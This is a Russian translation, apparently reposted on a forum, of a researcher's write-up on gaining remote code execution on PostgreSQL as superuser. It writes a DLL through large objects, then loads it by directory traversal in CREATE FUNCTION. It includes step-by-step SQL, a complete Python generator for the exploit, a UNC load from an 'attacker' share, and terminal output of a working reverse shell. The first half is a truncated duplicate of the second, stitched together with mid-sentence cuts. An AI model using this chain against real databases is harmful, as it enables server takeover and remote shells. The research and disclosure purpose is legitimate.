Когда я исследовал примитивы эксплойта для уязвимостей SQL-инъекций, обнаруженных в
Я делюсь еще одной техникой для достижения удаленного выполнения кода на базе данных PostgreSQL.
Прикладной техникой будет способность поставить под угрозу целостность базы данных и использовать доверие между кодом приложения и базой данных. В случае Cisco DCNM я обнаружил 4 различных метода, о 2 из которых я писал в блоге (перемещение по каталогам и десериализация).
Предыдущие исследования
Изначально я собирался использовать эту технику, но, поскольку Денис раскрыл всю силу lo_export для эксплуатации, я подумал, что еще один гвоздь в гроб не повредит ;->
Я провел некоторое тестирование и обнаружил, что Windows NETWORK_SERVICE не может изменить postgresql.conf файл, поэтому метод Дениса специфичен для *nix. Тем не менее, его техника не требует сложенных запросов, что делает его мощнее в определенных контекстах.
CREATE FUNCTION obj_file Обратный путь в каталогах
Этот метод работает как в *nix, так и в Windows, но требует стековых запросов, поскольку мы используем
Резюме
В последних версиях PostgreSQL superuser больше не разрешается загружать файл общей библиотеки из других источников, кроме C:\Program Files\PostgreSQL\11\libWindows или /var/lib/postgresql/11/lib *nix. Кроме того, этот путь недоступен для записи ни в учетной записи NETWORK_SERVICE, ни в postgres.
Однако аутентифицированная база данных superuser может записывать двоичные файлы в файловую систему, используя «большие объекты», и, конечно, может записывать в C:\Program Files\PostgreSQL\11\data каталог. Причина этого должна быть понятна, для обновления/создания таблиц в базе данных.
Основная проблема заключается в том, что этот CREATE FUNCTION оперативный элемент позволяет осуществлять обратный путь к каталогу данных! Таким образом, злоумышленник, прошедший проверку подлинности, может записать файл общей библиотеки в каталог данных и использовать обход для загрузки общей библиотеки. Это означает, что злоумышленник может получить выполнение собственного кода и, как таковой, выполнить произвольный код.
Поток атаки
Этап 1 - Мы начинаем с создания записи в pg_largeobject таблице.
select lo_import('C:/Windows/win.ini', 1337);
Мы могли бы легко использовать путь UNC здесь (и пропустить шаг 3), но, поскольку мы хотим использовать метод, независимый от платформы, мы избежим этого.
Этап 2 - Теперь мы модифицируем pg_largeobjectзапись, чтобы она содержала полное расширение. Это расширение должно быть скомпилировано с точной основной версией целевой базы данных PostgreSQL, а также с учетом ее архитектуры.
Для файла длиной> 2048 байт в pg_largeobjectтаблице используется pagenoполе. Поэтому мы должны разбить наш файл на куски размером 2048 в байтах.
update pg_largeobject SET pageno=0, data=decode(4d5a90...) where loid=1337;
insert into pg_largeobject(loid, pageno, data) values (1337, 1, decode(74114d...));
insert into pg_largeobject(loid, pageno, data) values (1337, 2, decode(651400...));
...
Возможно, можно пропустить этап 1 (и выполнить только один оператор для этапа 2), используя
Этап 3 - Теперь мы можем записать наш двоичный файл в каталог данных. Помните, что здесь мы не можем использовать обходы, поскольку это проверено, но даже если бы мы могли, существуют строгие права доступа к файлу для учетной записи NETWORK_SERVICE, и у нас ограниченные возможности.
select lo_export(1337, 'poc.dll');
Этап 4 - Теперь давайте запустим загрузку библиотеки.
В классе, который я преподавал несколько лет назад, я продемонстрировал, что вы можете использовать фиксированные пути (включая UNC) для загрузки расширений в PostgreSQL версии 9.x, таким образом получая выполнение собственного кода.
create function connect_back(text, integer) returns void as '//attacker/share/poc.dll', 'connect_back' language C strict;
Однако прошло несколько лет, и разработчики PostgreSQL решили заблокировать фиксированные пути и, увы, эта техника сейчас мертва. Но мы можем просто перейти из каталога lib и загрузить наше расширение! Базовый код create functionприсоединяет .dllстроку, поэтому не беспокойтесь о ее добавлении:
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
Этап 5 - Запустите вашу обратную оболочку.
select connect_back('192.168.100.54', 1234);
Что нужно учитывать
Изначально ZDI рассмотрел этот случай, но никогда не публиковал рекомендации, и мне позже сказали, что поставщик не исправляет проблему, поскольку она считается функцией, а не ошибкой .
Автоматизация
Этот код сгенерирует файл poc.sql для запуска в базе данных в качестве суперпользователя. Пример:
Источник:
Ссылка скрыта от гостей
, я натолкнулся на общую методику использования уязвимостей SQL-инъекций для базы данных PostgreSQL. При разработке ваших примитивов эксплойтов всегда предпочтительнее использовать технику приложения , которая не зависит от какой-либо другой базовой технологии. Я делюсь еще одной техникой для достижения удаленного выполнения кода на базе данных PostgreSQL.
Прикладной техникой будет способность поставить под угрозу целостность базы данных и использовать доверие между кодом приложения и базой данных. В случае Cisco DCNM я обнаружил 4 различных метода, о 2 из которых я писал в блоге (перемещение по каталогам и десериализация).
Предыдущие исследования
Ссылка скрыта от гостей
уже
Ссылка скрыта от гостей
к достижению выполнения кода против PostgreSQL пути (аb) , используя
Ссылка скрыта от гостей
. Недавно Денис Андзакович также
Ссылка скрыта от гостей
свой способ добиться выполнения кода на PostgreSQL, используя (ab) чтение / запись в postgresql.confфайл.Изначально я собирался использовать эту технику, но, поскольку Денис раскрыл всю силу lo_export для эксплуатации, я подумал, что еще один гвоздь в гроб не повредит ;->
Я провел некоторое тестирование и обнаружил, что Windows NETWORK_SERVICE не может изменить postgresql.conf файл, поэтому метод Дениса специфичен для *nix. Тем не менее, его техника не требует сложенных запросов, что делает его мощнее в определенных контекстах.
CREATE FUNCTION obj_file Обратный путь в каталогах
- CVE: N / A
- CVSS: 4.1
Ссылка скрыта от гостей
Этот метод работает как в *nix, так и в Windows, но требует стековых запросов, поскольку мы используем
Ссылка скрыта от гостей
.Резюме
В последних версиях PostgreSQL superuser больше не разрешается загружать файл общей библиотеки из других источников, кроме C:\Program Files\PostgreSQL\11\libWindows или /var/lib/postgresql/11/lib *nix. Кроме того, этот путь недоступен для записи ни в учетной записи NETWORK_SERVICE, ни в postgres.
Однако аутентифицированная база данных superuser может записывать двоичные файлы в файловую систему, используя «большие объекты», и, конечно, может записывать в C:\Program Files\PostgreSQL\11\data каталог. Причина этого должна быть понятна, для обновления/создания таблиц в базе данных.
Основная проблема заключается в том, что этот CREATE FUNCTION оперативный элемент позволяет осуществлять обратный путь к каталогу данных! Таким образом, злоумышленник, прошедший проверку подлинности, может записать файл общей библиотеки в каталог данных и использовать обход для загрузки общей библиотеки. Это означает, что злоумышленник может получить выполнение собственного кода и, как таковой, выполнить произвольный код.
Поток атаки
Этап 1 - Мы начинаем с создания записи в pg_largeobject таблице.
select lo_import('C:/Windows/win.ini', 1337);
Мы могли бы легко использовать путь UNC здесь (и пропустить шаг 3), но, поскольку мы хотим использовать метод, независимый от платформы, мы избежим этого.
Этап 2 - Теперь мы модифицируем pg_largeobjectзапись, чтобы она содержала полное расширение. Это расширение должно быть скомпилировано с точной основной версией целевой базы данных PostgreSQL, а также с учетом ее архитектуры.
Для файла длиной> 2048 байт в pg_largeobjectтаблице используется pagenoполе. Поэтому мы должны разбить наш файл на куски размером 2048 в байтах.
update pg_largeobject SET pageno=0, data=decode(4d5a90...) where loid=1337;
insert into pg_largeobject(loid, pageno, data) values (1337, 1, decode(74114d...));
insert into pg_largeobject(loid, pageno, data) values (1337, 2, decode(651400...));
...
Возможно, можно пропустить этап 1 (и выполнить только один оператор для этапа 2), используя
Ссылка скрыта от гостей
в PostgreSQL, но у меня не было времени, чтобы это подтвердить.Этап 3 - Теперь мы можем записать наш двоичный файл в каталог данных. Помните, что здесь мы не можем использовать обходы, поскольку это проверено, но даже если бы мы могли, существуют строгие права доступа к файлу для учетной записи NETWORK_SERVICE, и у нас ограниченные возможности.
select lo_export(1337, 'poc.dll');
Этап 4 - Теперь давайте запустим загрузку библиотеки.
В классе, который я преподавал несколько лет назад, я продемонстрировал, что вы можете использовать фиксированные пути (включая UNC) для загрузки расширений в PostgreSQL версии 9.x, таким образом получая выполнение собственного кода.
Ссылка скрыта от гостей
Ссылка скрыта от гостей
, используя метод записи файлов с фиксированным путем в файловой системе. Но тогда права доступа к файловой системе не были такими ограничительными.create function connect_back(text, integer) returns void as '//attacker/share/poc.dll', 'connect_back' language C strict;
Однако прошло несколько лет, и разработчики PostgreSQL решили заблокировать фиксированные пути и, увы, эта техника сейчас мертва. Но мы можем просто перейти из каталога lib и загрузить наше расширение! Базовый код create functionприсоединяет .dllстроку, поэтому не беспокойтесь о ее добавлении:
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
Этап 5 - Запустите вашу обратную оболочку.
select connect_back('192.168.100.54', 1234);
Что нужно учитывать
- Вы также можете загрузить DllMain, но pwning ваш журнал ошибок является одним из способов обнаружения!
- Как уже упоминалось, вам нужно будет скомпилировать файл dll / so, используя ту же версию PostgreSQL, включая архитектуру.
- Вы можете скачать расширение, которое я использовал здесь, но вам нужно будет скомпилировать его самостоятельно.
Изначально ZDI рассмотрел этот случай, но никогда не публиковал рекомендации, и мне позже сказали, что поставщик не исправляет проблему, поскольку она считается функцией, а не ошибкой .
Автоматизация
Этот код сгенерирует файл poc.sql для запуска в базе данных в качестве суперпользователя. Пример:
Код:
steven@pluto:~/postgres-rce$ ./poc.py
(+) usage ./poc.py <connectback> <port> <dll/so>
(+) eg: ./poc.py 192.168.100.54 1234
steven@pluto:~/postgres-rce$ ./poc.py 192.168.100.54 1234 si-x64-12.dll
(+) building poc.sql file
(+) run poc.sql in PostgreSQL using the superuser
(+) for a db cleanup only, run the following sql:
SELECT lo_unlink(l.oid) FROM pg_largeobject_metadata l;
DROP FUNCTION connect_back(text, integer);
steven@pluto:~/postgres-rce$ nc -lvp 1234
Listening on [0.0.0.0] (family 0, port 1234)
Connection from 192.168.100.122 49165 received!
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Program Files\PostgreSQL\12\data>whoami
nt authority\network service
C:\Program Files\PostgreSQL\12\data>
Python:
#!/usr/bin/env python3
import sys
if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print(" drop function connect_back(text, integer);")
Источник:
Ссылка скрыта от гостей